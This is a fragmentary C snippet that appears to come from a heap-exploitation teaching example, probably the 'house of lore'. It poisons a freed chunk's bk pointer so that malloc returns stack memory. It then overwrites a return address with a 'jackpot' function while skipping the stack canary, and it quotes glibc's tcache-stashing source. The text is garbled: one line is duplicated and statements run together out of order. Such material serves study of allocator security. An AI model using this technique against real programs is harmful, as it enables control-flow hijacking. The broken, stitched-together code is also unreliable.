victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
void *p3 = malloc(0x100);
char *p4 = malloc(0x100);
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode long offset = (long)__builtin_frame_address(0) - (long)p4; memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin;
long offset = (long)__builtin_frame_address(0) - (long)p4; memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary